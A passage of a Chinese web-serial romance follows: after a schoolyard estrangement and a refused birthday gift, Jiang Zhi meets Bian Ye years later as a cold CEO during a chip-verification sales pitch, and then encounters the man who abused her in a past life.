宋言旭怎么都没想到事情会发展成这样,这个时候除了他没人敢靠近边野。 “野哥,擦擦吧。” 他递过去纸巾,脑子里乱哄哄的,都不知道该说点什么。 边野默不作声地吸了口气,余光瞥了眼,没接。 他回头看见这些人都盯着自己,也不敢动,脸色淡漠道:“该干嘛干嘛,别杵在这。” 声音听起来倒是低沉平静。 没再管这些人的目光,他转身朝门口走去。 宋言旭赶紧追上,“野哥,你去哪儿啊,湿成这样了。” 他神色冷淡,面上没什么表情,也不回答他,只说:“今天记我账上,让他们该吃吃该喝喝。” 说完,推开包厢大步流星离开。 宋言旭没再跟过去。 他站在原地看着边野离开的背影,许久后,长长叹了口气。 第48章 第 48 章 姜栀到墓地的时候天已经完全黑下来, 道旁路灯点早已点亮。 墓碑林立,她自台阶往上,怀里的紫苑花瓣随着步子轻颤。 黎姨碑前已经放了一束祭拜的紫苑, 她把自己那束放在另一边, 平静轻柔的声音在寂静的墓园里响起。 “黎姨, 这次的紫苑有点不完整, 您别介意。”她放好起身, 看着碑上照片里的熟悉面容, 眼眶忍不住发热, “下次……” 她轻轻吸气,“下次一定会给您准备一束完好无损的。” 照片上的女人笑容温柔,气质优雅,那双眼露着和善。 姜栀仿佛能听见她软声安抚的声音:“没事的知知,知知能来看我,我就已经很高兴了。” “黎姨, 对不起啊, 我可能——” 她红着眼眶,眼底蓄着泪,哽咽了两下继续道:“不能完成您的遗愿了,您会怪我吗?” 墓园里寂静无声,夏夜里拂过凉风,吹得那束紫苑颤动了下,有片本就摇摇欲坠的花瓣无声地飘落下来。 姜栀眨了眨眼,把眼泪逼回去, 嘴角挂起笑意, 却几分酸楚。 “您不说话,我就当您答应了。” 墓碑照片上的人始终微笑着。 她在原地伫立许久, 直到身后有脚步声传来,才缓缓回神。 侧头去看,边野高挺的身影就在几步之遥处。 墓园偌大静谧,路灯光线昏暗。 少年与她四目相对,棱角分明的面庞和略带攻击性的五官像是罩着一层纱,有些朦胧,倒显得气场没那么阴冷。 他不说话,姜栀也不开口。 回眸看了眼黎姨,她默不作声地往外走。 出去的路只有一条,势必要经过他。 姜栀沿着小道外侧走,眼睫始终低垂着,一路朝他越来越近,却并没有要打招呼的意思。 擦身而过时,边野黑眸颤动了下,侧目看她。 不过刹那,她已经从他身侧离去。 轻稳的脚步声越来越远。 边野没回头,掀起眼皮看着前方,视线却没什么焦距。 喉结滚动了下,他手掌缓缓蜷起。 他没到黎女士墓前,只于几步之外遥遥望着,只能看到与这墓园里其他墓碑一模一样的碑面。 碑前两束紫苑,唯独他空手而来。 良久,他回头往墓园大门方向看去。 早已没有姜栀的身影- 自金霆不欢而散后,姜栀与边野算是彻底没了联系。 不管是边家还是学校,她都没有再见到过他一次。 她始终平静。 这样就很好,至少她知道他是平安的。 只是那以后,她辜负边野的流言越传越烈,每次出入学校都会有人对她指指点点,那些人眼神毒辣不屑,恨不得把她赶出圣嘉。 好在有池念陪着,她不算孤立无援。 偶尔作业本出现在垃圾桶里,杯子里的水莫名其妙地消失,椅子缺角……这些一开始她还有点不习惯,但适应着居然也不觉得多难熬。 池念愤愤不平想要替她报仇,却连个始作俑者都抓不到。 好像原先那些对她的惊人美貌和能与边野在一起的妒意在这一刻全部爆发。 姜栀没法解释,也不想解释什么。 她只想度过高三,然后离开宿城。 边野不再出现在她生活里后,姜栀就和白司裴结束了帮助关系,没多久学校里就广传她又把白司裴甩了的谣言。 哪怕他已经单方面解释,谣言还是愈传愈烈。 都暗暗指责她用什么狐媚手段把人勾引成这样,被甩了还不忘替她说话。 姜栀无力说什么,只等着时间长,等谣言的声音低下去。 她不想再生事端了。 临近运动会时,班主任杜曼蓉让她去举牌。 姜栀这一次没有参与别的活动,开场仪式结束后,她去卫生间换下裙子,推开卫生间门时,一桶冰水兜头而下,还没完全融化的冰块哗啦啦砸在她身上,掉落在地。 她浑身淋了个透,披发湿漉漉地贴在脸和脖子上,冷意随机席卷而来,她忍不住打了个寒颤。 默默跟着来到卫生间外的边野因为晚一步,并没听见这些动静。 他站在侧面,也没看见被拖把挡住的外门。 像道悄无声息的影子。 姜栀伸手抹掉眼周的水渍,终于从这猝不及防的刺激里缓过神。 她看着地上的冰块,眼睫颤了下,慢慢抬头。 这间门上方固定着一个桶,此刻桶口正对下方,边沿还在坠着水滴。 是早已准备的,冲着她来的。 姜栀心知肚明,收回了视线,把门又往外推了点。 那个桶“唰”一下掉下来。 她眼疾手快往后退了一步,塑料桶“啪”的一声砸在地上,发出闷沉的声音。 这声音透过外门,虽削弱了点,却还是传到了边野耳里。 他眉头蹙了下,回头看了眼洗手间。 走了两步,又顿在原地。 姜栀走下台阶,没什么表情地把塑料桶扶起来放在一边,避过那些冰块,她往洗手镜前走。 镜子明亮,映照出她此刻的狼狈。 发梢滴水,冷意还在附着在皮肤上,她伸手把头发的水挤干。 “阿嚏——” 一阵寒颤袭来,姜栀打了个喷嚏。 她双手搭在洗手池边,眼眶轻缓又细密地泛起红意。 外门关着,忽然传来一阵窸窸窣窣的声音。 姜栀蹙了下眉,有些警惕。 迟疑了两秒,尝试开门。 在看到拿着拖把的宋言旭时,她愣住一瞬。 怀疑过外面可能是想要趁机欺负她的同学,都没想过会是他。 宋言旭看到她这狼狈模样的瞬间也怔了下,不就是换个衣服吗,怎么搞得这么惨,跟落汤鸡似的。 他很快回神,把拖把往角落一放,赶紧把自己的外套脱下来递给她,“快穿上,别把自己弄感冒了。” 学校里这段时间的流言蜚语他其实也有所耳闻,但并没放在心上。 他虽然不知道她跟野哥到底发生了什么,但他是野哥的人,多少也有点不爽。 但几分钟前野哥一通电话给他叫过来,他才知道野哥压根就没有放下过人姑娘。 心底叹了口气,宋言旭见她不接,又递了递,“快接着,难不成你想这样出去,到时候被人拍下来疯传吗?” 姜栀眼睫微颤,顺从地接过后披好。 她身姿单薄,男生的外套罩在身上显得她更加娇弱。 “谢谢。”她脸上还有水渍,声音微微沙哑。 宋言旭余光往外看了眼,原本站在那儿的边野早已没了踪影。 做个好事居然还要这么偷偷摸摸的。 “都是朋友,不用在意。”野哥只让他过来看看,但姜栀现在这样子,他也没法坐视不管。 “你湿成这样,我送你回去吧,换身干净衣服。” 姜栀低低“嗯”了一声,默不作声地跟在他身边。 气氛安静。 下楼时宋言旭还回头看了眼,什么人影都没有。 “你是怎么知道我在这的。”姜栀这会儿已经从这场无妄之灾里缓过来,只是冰块浸过的水带来的冷意却退不下去。 她脸色有些白,把外套拢紧了点。 宋言旭看她一眼,咳嗽了声,“我就是过来找洗手间,突然听到里面有动静,没想到你在里面。” 姜栀有点意外。 舍近求远从东区来西区找洗手间好像有点奇怪,但她到底也没问。 她点点头,又道谢一次。 和宋言旭一路出去,她脸颊微微埋下一些,倒是没什么人在意。 临近校门口,姜栀忽然停下步子。 “怎么了?”宋言旭看她。 她回头看向身后,环视一圈,却并没看到什么。 摇摇头,她转过身走出去。 把人送回去后,宋言旭接到了边野的电话。 “怎么了野哥?” 对面沉默了一秒,声音低沉,“以后在学校里多照看点,就当我欠你个人情。” 宋言旭愣了愣才听出来他的意思,“这算什么人情,顺手的事,你都开口了,我自然会好好照看的。” “嗯,谢了。”对面没什么情绪地挂了电话。 他看着那通通话记录,没忍住叹了口气。 运动会这事确实吓到了姜栀,在这之后,她出入都更小心。 只是奇怪的是,好像所有的恶意都在那天之后消失得干干净净,那些曾经甚至会当着她面指桑骂槐的人,见到她也只会避开。 耳根清净,姜栀便一门心思学习- 十二月底。 接连熬了几个大夜,从城东跑到城西,边野总算找到了一位会修旧表的老师傅。 老师傅的店面开得小,又窝在犄角旮旯的位置,等他跑过来求人修表的时候,老师傅已经收拾收拾准备打烊了。 “你明天再来吧,都八点了,这天又冷,我这把老骨头受不住,明天来明天来。”老师傅一把年纪,挥着满是褶皱的手,转头就要关门。 边野眼疾手快地伸手挡在门缝里,被夹到犯青也不吭一声,“师傅,只要你肯修,多少钱都可以。” 老师傅关不上门,也不能真就不管不顾地硬关,“啧”了声皱眉道:“这不是钱不钱的事,我今天都修了一天了,比不上你们年轻人,现在累得屁股跟脑袋都不分了。” “走吧走吧,你明天一早来,我第一次帮你修。” 边野依旧无动于衷,漆黑的眼眸透着执着,“明天来不及。” 明天就是元旦了。 大冬天这个点与白天温差相差很大,少年穿得不多,一身单薄的冲锋衣就这么裹在身上,露在外的肌肤因为四处奔波冻得冰凉,说话时带着白色雾气。 满脸风霜和挡不住的疲惫。 老师傅看着他冻红的脸,无可奈何地叹了口气,把门打开,“进来吧。” “谢谢。” 老师傅的店面实在小,一个陈年木架,上面摆着各种各样的零件,展示柜也像自己做的,破旧玻璃带着划痕,简易且不讲究,柜子里摆了许多手表,都不怎么新,像是转了好几手的。 屋子里摆着张躺椅,除此之外,只剩一张小木桌。 老师傅带起老花镜,点开展示柜上的小灯,暖黄的灯光照亮方寸之间。 “随便坐,修表不是一会儿工夫。” 他头也没抬,在小木箱子里翻找出工具拆解手表。 边野四处看了眼,最后默不作声坐在了那张躺椅上。 “小伙子,这表可有些年头,也难为你找到我这里来,我这里可不好找,很少有人能找过来,跑了好几天了吧?” 老师傅喜欢唠嗑,一边拧螺丝一边笑着调侃。 “还好,不算很难找。”他低声。 “心口不一。”老师傅笑着摇摇头,“我看见你的第一眼就看到你那两个大黑眼圈,不熬几个通宵哪能熬成这样。” 边野没应。 他没忘记过姜栀的生日,礼物他也很早就准备好了,直到前几天偶然碰到去手表店的管叔才知道姜栀的手表坏了。 管叔也跑了好几家店面,看了都只说年代太久了,缺少相应零件,修不了。 “这是知知的外婆传给她妈妈的,现在她外婆和妈妈都不在人世了,也只有这个表留作纪念了,没想到这表也走到尽头了。” 管叔说着叹了口气。 边野看着这只银色手表,极为普通,是免费赠给店里都不会收的类型。 没有物质价值,也没有任何收藏价值。 但…… “给我吧。”他淡淡出声。 管叔惊讶一瞬,这段时间虽然知知什么都没说,可他能感受到这俩孩子之间出了问题,少爷也许久没有回边家,他还以为…… 沉吟片刻,他把表递给边野,“边少,这对知知很重要,哪怕修不好也不能损坏。” 他低眸看着这只表,什么都没说。 自那天后,他便四处找寻可以修表的店铺。 大的小的,只要有人,他都问了一遍。 从城东到城西,几乎没合眼过。 “小伙子,这表是什么重要的人吗?”老师傅见他没说话,掀起眼皮瞥了他一眼。 屋里暖和些,他手脚的寒意散去不少,“嗯。” 见他神色滞涩,又带着点怅然,老师傅一眼看明白,翻找零件更换,笑着道:“你倒是个痴情的,那姑娘有那么好,值得你这么辛苦修表?” 边野眼眸微微晃动了下。 那张白皙纯然又青涩的脸蛋不由自主地浮现在脑海里,如同过电影一般,从笑语嫣然到冷淡离去,一幕一幕都清晰地印刻着。 记忆之清楚,连他自己都没料到。 “很好。” 许久,他忽然出声。 老师傅还在拧螺丝,听到这话先还没反应过来,过了会才意识到他在说什么,会心一笑。 气氛安静下来。 除了屋外的偶尔传来的风声,就只剩老师傅修表的声音。 老师傅没再说话,做最后的收尾工作。 一抬头,那个身形高挺又固执的少年不知道什么时候已经靠在椅子上睡着了,安安静静,没一点声音。 他笑着摇了摇头,眼底有对少年人的感慨与欣慰。 老师傅没打扰边野,表修好后就开始收整架子上的工具箱和零件。 动作很轻,但他还是猛地惊醒过来。 “醒了?”老师傅瞥见他起身。 边野面上淡淡,连道歉都没什么情绪,“抱歉。” 老师傅摇摇头,“修好了,看看。” 看到那只躺在展示柜上的手表正在走针,他愣了下,心上悬了好几天的石头总算放下。 握着手表,他声音沉沉,“谢谢。” “花钱的有什么好谢的。”老师傅笑得意味深长,“这么着急找我过来修,修好了就赶紧去找人姑娘吧,别在这儿杵着了。” 边野没再耽搁,开车去边家。 只是途径月前路时,他眼尖地看见了两道熟悉的身影。 路灯昏黄,将那两道身影拉得很长。 白司裴走在马路边沿,把姜栀护在里侧,他低眸看身边模样温柔的少女,声音都舍不得再大一点,“谢谢你今天愿意陪我出来逛一趟,有你陪着说说话,我好多了。” 和父母之间的不愉快心绪没想到有一天会被她轻易化解。 她摇摇头,莞尔道:“应该的,你上次帮我受了那么多流言蜚语。” 白司裴停在公交站旁的路灯下,眉眼斯文儒雅,“姜栀,我认真的。” “……嗯?”她不解抬头。 “如果最终还是不能和边野在一起,不妨考虑考虑我?我不比他差。”怕惊到她,他温声补了句:“我不是说现在,可以未来的任何一天。” 姜栀呆愣了下,移开视线,“我——” “你不用那么快回答我,你还有大学,如果到了毕业还是没有合适的人选,我也会愿意来到你身边。” 他语调始终温润,像只是在跟她说一件再寻常不过的事。 “好了,今天就到这吧,下次再见。”他笑着朝她挥手,转身离开。 姜栀望着他的背影,心情有些复杂。 唇瓣动了动,最终也只说出一句很轻的再见。 夜里的气温很低,有风吹过带来一阵寒意,姜栀往站台里靠了靠,把脖子上的围巾裹得更紧了些。 她低着头看脚下的影子。 可忽然,就有另一道影子相接过来,她愣了下,看到笔直的腿。 目光顿了一秒,姜栀缓缓抬起脑袋。 那张许久没见的脸强势闯入眼底,她眼睫轻微颤动了下,敏锐地看见他眼底的青黑和眼底遮掩不住的疲倦,像是饱经风霜,没了生气。 很快,她别开目光,没再看,也不出声,可胸口闷闷的,沉甸甸得像是坠了块大石。 心脏里如同刺进一根细长的针,一点一点扎进深处。边野握着礼物的手缓缓收紧,原本是打算把礼物和手表都交给管叔,让管叔转交给她。 可刚刚白司裴跟她在一起时的温馨和睦的场面,他只是看着就已没办法按捺,等到了她身边他才意识到自己走了多远、在干什么。 边野看着她侧脸,鼻头被风吹得泛红,下巴埋在围巾里。 纵使他在这站了这么久,她依旧一言不发。 可她会和白司裴说话,会对着他笑,还会在他离开时遥望。 边野垂眸看了眼手里的礼物袋子,递过去,“生日快乐。” 原本他没机会说出这一句的。 余光里,少年手臂直直地伸着,她窝在衣服口袋里的手指相无意识蜷起,唇瓣微微张开,可最终还是闭上了。 就这样吧,不要给他任何希望。 他讨厌她也好,恨她也罢,不要再去接受他的好意。他还年轻,抵抗不过苏明歆那样不择手段的人。 边野自嘲地勾了勾唇,“连礼物也不打算看看吗。” 她很轻很轻地吸了口气,眸光落在他处。 “姜栀,你就仗着我喜欢你。” 他视线低垂,像是说给她听,又好像是说给自己听。 见她始终没有动静,好像铁了心要跟他切割清楚。 喉间酸涩浓重,他喉结滚了滚,无声地扯了扯唇角,靠近去拉她的手,执意要把礼物塞给她。 姜栀蹙眉没有接,拉扯间礼物袋子“啪”一声掉落在地,在寂夜里很是清晰。 像是按了暂停键,气氛一瞬凝固。 边野动作僵住,看着地上的礼物袋,半天没说话。呼吸间,冬夜的冷意刺的肺管生疼。 她心口涩了下,偏过头没再看。 “对不起。” 少年低沉微哑的声音落在耳里,他在为那天会所里的口无遮拦道歉,她知道。 “姜栀,你不喜欢我也没关系,只要你愿意待在我身边,之前的事我都可以当做没发生过。” 他一字一句说得缓慢又清晰,却像是用尽了所有力气。 姜栀紧紧掐着手掌心,刺痛袭来,她逼着自己冷静,逼着自己再绝情一点。 她回眸看他,那双琥珀色的漂亮眼眸里没有一丝悲伤与温度,“我不愿意,从头到尾都是我在耍你玩。” 第49章 第 49 章 深夜冷寂。 四目相对间, 气氛僵持。 边野低嗤一声,嘲弄自己这段时间的天真,“铁了心要跟着他?” 她移开视线, 不愿回答。 他却以为她是在默认, 呼吸间涩意更浓, 眼底温意散尽。 “你知道他父母是怎样的人吗, 了解他的家庭结构吗, 就敢一厢情愿地跟着他?” 她声音平静:“这跟你无关。” “你能跟他多久, 一年两年?还是三年五年?”他生在这种家庭里, 再清楚不过,况且白司裴没有为她誓死抵抗的决心,她很难自处。 “等他抛弃你去联姻,你怎么办?” 姜栀眉头轻蹙了下,却什么都没说。 这模样落在边野眼里,就是在不满他对白司裴的品评。 少年眸色彻底晦暗下来, 自嘲地扯了扯嘴角, 溢出苦涩。她到底是什么时候,跟他那样情深意笃? “你有手有脚,聪明努力,就为了攀附这点权势虚荣至此吗?”他眼底漆黑一片,冰冷低沉的声音里透着讽刺。 姜栀很轻地吸了口气,看着自己脚下的影子,“是。” “至少比你这种不学无术的人有前途有未来,我为自己的未来打算, 有什么错?” “前途、未来……” 他讥讽地低“嗬”了一声, 对她这副不自爱态度的愤懑和对白司裴的嫉妒情绪在胸腔里熊熊燃烧,烧得他全身火热。 “是准备在他联姻后做他见不得光的情人还是准备借子上位?你就这么饥不择食到作践自己——” 带着怒意的斥问还没完全落地, 清脆的巴掌声“啪”的响起。 在深夜里,清晰异常。 边野被扇到侧头,鲜明的麻意和痛感交织着袭来。 他眼睫微动,垂在身侧的手蜷起几分。 姜栀眼眶泛红,不可置信地盯着他,心口闷痛。 手掌传来的麻意针扎似的扩散,她呆滞了两秒,迅速撇开脸。刚刚一瞬空白的脑子像是堪堪有了意识。 气氛安静。 她收拢手指,整个人处于麻木中,又觉得自己可笑。 五味杂陈。 这样的误解不就是她想要的吗,可怎么会忍不住…… 公交从远处开过来,姜栀没在原地多站,快步朝打开的车门走过去。 跨上车门的刹那,手臂被一股力道捉住。 她眼睫轻颤,没回头。 边野从口袋里拿出一只巴掌大的盒子,塞进她衣服口袋里。 “从今天起,如你的愿。” 他声音低哑,转身离开,影子被路灯的光拉得很长,映照在柏油路上清晰鲜明。 “上不上啊?” 见她呆在那,公交车师傅忍不住催促。 姜栀默不作声地刷卡,冷静地往最后一排走,坐在了靠窗的位置。小小一只,一点都不惹眼。 公交关门启动,很快驶离月前站。 路灯昏黄的光影透过窗户,一道又一道。只是照不到她的位置。 许久。 姜栀才从口袋里摸出那个盒子打开。 老旧又熟悉的手表安安静静躺在里面,尽职尽责地走针。 脑海里,忽然响起管叔惋惜的声音:“这个表有些年头了,跑了十几家,可能是真没办法了,等明天我再跑一次看看,但希望渺茫啊。” 她定定地盯着这块表,那些压抑着的悲伤、痛苦和愧疚像浪潮一样,在这一刻汹涌地撞击着礁石,翻天覆地般要将她淹没。 喉口堵得难受,几乎要爆发性地冲出来,她紧紧捂住嘴,掌心一片湿濡。 第50章 第 50 章(都市部分) 高考分数出来后, 姜栀稳稳高出重本分数线,好几个学校打电话来邀请她入学,但她都礼貌客气地婉拒, 最后在所有人不解的目光中去了盐城读书。 距离宿城一千多公里的地方, 一到冬天就很冷。 她很少回来, 只在大一假期的时候回来看过管叔, 管叔虽然还是摔了, 但比前世的程度好上许多, 至少可以下地走路。 在她假期结束返校时, 管叔也好得差不多。 至于边野,她从管叔嘴里知道,他出国读书了。 至此,她心里再也没有放不下的事。 从盐城大学毕业后,姜栀进了一家提供EDA工具支持的设计服务公司,公司不算大, 但胜在比较人性化。 入职这两年, 她逐渐习惯了在盐城的慢节奏生活。 不出意外的话,她想她会在这座城市定居,平平安安过完这辈子。 最近公司听闻芯耀科技正在盐城寻找EDA供应商,盐城这些EDA公司纷纷积极去洽谈合作,但至今还没有定下来,公司就动了争取的心思。 芯耀科技是近年异军突起的半导体行业新贵,但凡合作个项目都是香饽饽,无数人争抢的存在。 姜栀作为方案解决工程师, 这段时间和团队加班加点的设计方案并验证可行性, 已经很多天没睡过一个好觉。 今晚更是要打起十二分精神。 姜栀和林主管到的时候,芯耀科技的人还没来。 包厢内灯光炽亮, 她打开电脑看了眼,多少有些紧张。 她们公司麻雀虽小,但五脏俱全,从成立到现在也接过不少合作,只是都没有跟芯耀的大,这算是第一次来竞争这种颇具名气公司的合作。 林主管四十来岁,平常就很照顾她,把她当女儿看待,“不用这么紧张。”她握住姜栀的手,“成就成,不成就算了,芯耀这块肥肉多少家盯着呢。” “嗯,”姜栀尽量放松自己。 但大家为了这个项目有多努力辛苦,她看在眼里,如果就这么付诸东流,她心里也难受。 正说着,包厢门被人推开。 一位穿着白色丝绸衫和包臀裙的女人踩着高跟鞋走进来,模样秀丽,气质优雅。 林主管先行站起来,十分客气地笑道:“您好。” 姜栀紧随着起身。 门恰好被推开大半,一道身形高挺的男人很快闯入视线,西装革履,头发梳起,侵略性五官越发棱角分明,眉眼间退去曾经的青涩,融进几分成熟,不笑时带着上位者的压迫。 她脸上笑意一瞬凝固,整个人似乎被拉着下坠。 这么多年过去,她没想过有生之年还会再见面。 “您好,这位是我们芯耀的边总。”跟他一起进来的女秘书周然温和地介绍。 芯耀总裁从来没在公众场合露过面,林主管乍一听愣了下,原以为芯耀科技会派个高管过来接洽,完全没想过幕后老板会亲自过来。 她很快反应过来,立马笑着伸出手,“您好您好,久仰边总大名,没想到您这么年轻英俊。” 边野从始至终都没看过姜栀一眼,仿佛她是个空气。他没伸手,只淡淡点了下头,刚要往里走,林主管赶紧介绍,“这位是我们公司的方案解决工程师小姜,今天就由她跟您演示Chiplet验证项目的方案。” 像是听到这句话才发现她身边还站着个人。 和曾经的乖巧青涩不同,姜栀如今的五官随着岁月更精致了些,眼眸依旧俏生生的,漂亮惑人。穿着简简单单的衬衫和牛仔裤,却透着份轻熟感与不自知的媚意。 边野瞳眸漆黑,淡淡瞥向姜栀,毫无温度,像在看个陌生人。 姜栀心脏刺痛一瞬,定定望着他。 “贵公司的员工倒是有意思,怎么,是在等着我亲自问候吗?”他眉眼中透出冷意,嗓音低沉讥讽。 林主管心里咯噔一声,“边总说笑了。”赶紧用手肘碰了碰姜栀,眼神隐晦地暗示着。 这孩子平时懂礼貌守规矩,什么场合该说什么话从来没有出错过,今天这是怎么回事。 她其实已经反应过来,只是六年半没见,她一时不知道怎么面对。 “抱歉。” 姜栀面色诚恳。 边野淡漠地收回视线,从她身侧越过,没再给她一个眼神。 林主管拉了拉她袖子,用极低的气声问:“怎么魂不守舍的,是不是哪里不舒服?” 她摇摇头,回头去看已经落座的男人。 浑身透着贵气和不轻易近人的冷意。 “抱歉,边……总,是我一时疏忽,这杯我先干为敬,当做给您赔罪。”姜栀拿过桌上杯子,一饮而尽。 里面装的是白酒,辛辣刺激,入喉时呛得厉害。 姜栀紧咬着牙才忍住没咳出声。 刚入公司那会,她还是个实习生,不时跟着领导去跑合作,多的是不守规矩的合作方想要灌她酒。 即便有领导拦着,但她不能一点面子不给。 两年下来,多少次又喝又吐的,到现在也能喝下几杯。 边野眉头几不可察地蹙了下,却没掀眼皮。 冷淡得像个局外人。 林主管敏锐地嗅到奇怪的气氛,赶紧起身给他倒了杯酒,“边总大人大量,她来得不久,有不当之处,还请您多多担待。” 边野没接那杯酒,声音低沉逼人,“贵司招人还真是不挑。” 姜栀垂在身侧的手微微蜷了下,没出声。 林主管笑得尴尬,打着哈哈。 秘书周然上前打圆场,笑道:“边总只有半个小时,还请贵公司尽快演示一遍。” 姜栀没再耽搁,把电脑对向边野,“在此之前我司已经充分了解贵司的3D堆叠芯片的异构集成需求,我司开发了基于TSMC 3D Fabric技术的流程验证方案。” 在涉及到专业时,她神色认真,吐字清晰,模样不疾不徐。 “这是当前设计的散热仿真图。”她点击展示,“您可以看看。” 边野眼皮掀起几分,自她脸上扫过一瞬。 很快,黑眸又沉下去。 核心模块的演示花了近二十分钟,期间姜栀没有停留半分,她声音轻软,带着江南地域的温糯感,即便是讲这么枯燥的东西也依旧很有味道。 秘书周然虽不懂具体,但眼底的欣赏却自然地流露出来。 在此之前,他们已经见过三家EDA供应商,来洽谈的都是些大腹便便的中年男人,隔着饭桌都能闻到油腻味。 这三家在盐城都是叫得上名号的,每家来洽谈的时候多少都带着点自信。 那些演示,说起来其实大差不差。 她原以为边总会在其中选一个,但没想到转天就答应了智启的请约。 来之前她查过,这就是个小公司,成员不多,跟那三家的规模没法比,要论有什么合作优势,似乎也并没有。 但今天来了看到是两位女士,其中一位跟她年纪相仿的更是漂亮惊人,说比电视上的明星更好看也不为过,她心里舒畅许多。 这番演示也比那些公司细致,甚至突出了痛点。 周然偷偷瞥了眼老板,这回总该满意了。 “大概就是这么个流程,边总如果有疑问,尽管提。”姜栀从电脑上抬头,眸光安静又认真地看着他。 胃部隐隐有些不适,她默不作声地用手压了压。 边野骨节分明的手指在桌上轻轻敲打了几下,青色血管在皮肤下显现。 片刻,他淡淡挑眉,视线犀利,“我时间有限,就这么个东西还单独请约?” 姜栀愣了下,立即接上他的话,“我知道贵司肯定接触过比我们更好的公司,我不能保证一定比其他公司好,但有这个自信能比得过盐城大部分EDA。” 见他没反驳,她稍稍松一口气,趁热打铁,“至于名头比较响亮的那几家,我司私底下曾模拟过其中一家的Chiplet验证,后续会数据会崩,我知道他们规模大,技术修复也快,我们能做的就是比他们更加细致,并最大程度给芯耀节省成本。” 边野漫不经心地看着她,冰冷的视线像毒蛇那样在她脸上一寸寸逡巡。 她暗暗捏着掌心,让自己不要躲避。 片刻,他眼底讽刺与玩味交错而起,“退一步,即便如你所说,你又凭什么认为我会和一个势力冷血又虚荣的人合作?” 姜栀呼吸下意识一滞。 那些久远的却并没模糊的记忆在这一刻一路翻滚而来。 [从今天起,如你的愿。] 低哑悲凉的嗓音时隔多年好像再一次在脑海里回响。 眼睫颤动,喉咙里发不出一点声音。 气氛沉静。 没人出声。 秘书周然悄无声息地瞥了眼自家老板,眼底一片莫名。 这该不会……是故人见面吧。 林主管也被这样阴沉骇人的氛围惊到,她暗暗碰了碰姜栀,满心不解。 姜栀唇瓣动了动,这件事里她连“对不起”三个字都说不出来。 杂乱的心绪蛛网般织结在一起。 边野敛起视线,没有再待下去的欲望,“今天就到这。” 他冷冷淡淡起身。 林主管一脸惊讶,赶紧拉了拉姜栀的袖子。 别傻坐着呀,快再争取争取! 姜栀哪里不懂主管的意思,她深吸一口气,在他即将错身而过的时候,将人堵住。 近距离看着他,她眸光微颤。 “如果我碍您的眼,我给您道歉。但还是希望边总可以认真考虑这个方案,我可以就此不再出现在您面前,不管您愿不愿合作。” 她迫使自己冷静,手心一片冰凉。 边野眼窝深邃,眉眼狭长,一步一步逼近。 周身寒意也逐渐加重。 “除了对不起,你还会说什么?”他漫不经心地挽起袖口,嗓音却锐利,“成年人了,不知道任何事都有代价二字?” 像猛然被敲响的铜钟,这声质问震得她心神不稳。 “不知道怎样可以消解边总的怒意……” 姜栀捏紧掌心,拿过桌上的剩余半瓶白酒,在所有人都没反应过来时,仰头一口灌下。白酒辛辣刺喉,她一张脸苦涩地拧紧。 边野黑眸一凛,一把扯掉。 酒瓶“哐当”一声砸在桌上,剩余的白酒汩汩往外流。 他舌尖抵了下牙关,脸上冷意更浓,像是要将人冰冻起来,“姜小姐这是干什么?该不会以为这样就能赔罪了?” 姜栀灌得太快,现在嘴里喉咙一片火辣,她忍不住咳嗽,眼睛都咳红了。 领口已经被酒渍浸湿,有些狼狈。 她擦了擦嘴边酒渍,声音有点哑,“只要边总肯认真考虑我们的方案,任何能消解您不愉快的方式,我都可以做。” 他眼底浮出阴冷的讽刺,“姜小姐当真豁得出去。” 包厢门被打开,边野毫不留情地离开。 周然紧随其后。 她扶着桌沿,心底一片冰凉。 林主管看看包厢门又看看她,想问最终还是没问。到这一步,瞎子都能看出来这俩人之间有过不愉快的过往。 她叹了口气,拍了拍姜栀单薄的脊背,“算了,合作不成就合作不成吧,以后还有别的机会。” 姜栀目光有些失焦。 胃里那股原本隐隐的灼烧感不减反增,一股难言的恶心直冲脑门,她皱了下眉,没忍住,捂着嘴急速跑出去。 “哎!”意识到她干嘛去,林主管把电脑收起来,心底的惋惜还是止不住。 姜栀一路直奔洗手间,刚到,那股恶心感再次疾冲而来,辛辣刺激的白酒被不断吐出来,带着胃里的酸水,吐得她眼泪直流。 好半天,胃里才吐干净。 她像被抽走了所有力气,用力借着洗手台才支撑住。 水龙头开着,不断地冲刷着池面。 被激催出来的生理性眼泪掉下来,她用手背擦掉,捧了把清水漱口,如此几次,那种辛辣感才减退些。 只是胃里依旧隐隐灼烧,头也开始发晕。 她喘了口气,抬头去看镜子里的自己。 脸色惨白,耳边碎发沾了水贴在颊上,眼眸因呕吐还泛着红。白色衬衫被打湿一大片,与胸口肌肤相贴,隐隐露出曲线。 真狼狈。 心底闷堵沉重,她盯着自己看了好久。 回去还不知道怎么跟同事们交代。 吸了口气了,姜栀抽了纸巾擦了擦身上的水走回去。 头很晕,她捂着突突直跳的太阳穴试图缓解。 走廊点着地灯,光线昏暗,姜栀走得急,一个没注意撞上个人,还没站稳手臂就被一股力道扶住。 “你还好吗?”头顶上方传来一道温和慵懒的嗓音,似乎并没因她的莽撞恼火。 “我没——”她满脸歉意地抬头,话说到一半戛然而止,平静的瞳眸骤然一缩,脑子里轰然一声,有什么猛烈炸开。 眼前的人和记忆里的那张脸无限重叠。 前世可怖恶俗的场面在姜栀脑子里一瞬间浮现—— “你不是喜欢跑吗?现在吃了我的药,我看你浑身发软,还怎么跑。”贺为京伸手抚摸着她的脸颊,一路流连到胸前。 “真是人间尤物啊。”他忍不住地感慨,眼底的色意和贪婪一览无余,“你说我是直接弄了你还是先让玩具跟你玩一会儿?” 她没有一点力气,骨头跟泡化了似的,咬着呀往床边爬,却被他一把拽回来,颌骨几乎要被他捏碎。 “装什么纯?以后还不是要让人艹的?我今天就让你知道,B市还没我贺三睡不到的女人!” 恶寒如跗骨之蛆席卷全身。 姜栀脸色惨白地迅速退后,手脚一瞬间冰凉。 明明她已经离B市远远的,明明已经平安度过了大学,为什么……为什么还是躲不开这个魔鬼? 难道她这辈子还是逃不过前世的结局吗? 看到她这张惊为天人的脸,贺为京顿了下,眼底闪过鲜明的惊艳。 她本就清纯漂亮,眼下这略带狼狈和惊恐的模样非但没减色半分,反倒显得楚楚动人,令人不由自主地产生欲望。 贺为京喉结滚了下,毫不避讳地上前,“既然有缘,不如交个朋友?” 恐惧、恨意、恶心、戒备与愤怒在姜栀心底翻搅得汹涌。 有那么一瞬,她想捅死他,就算活不了,她也要带着他一起死。 手掌紧紧握成拳,骨节泛白,掌心传来尖锐的刺疼。 她眼睫颤了下,紧绷着身子朝相反的急速离开。 贺为京蹙了下眉,摸了摸自己的脸。 别的不说,他这张脸怎么也算得上英俊,不至于让人看了眼就跟见了鬼似的吧? 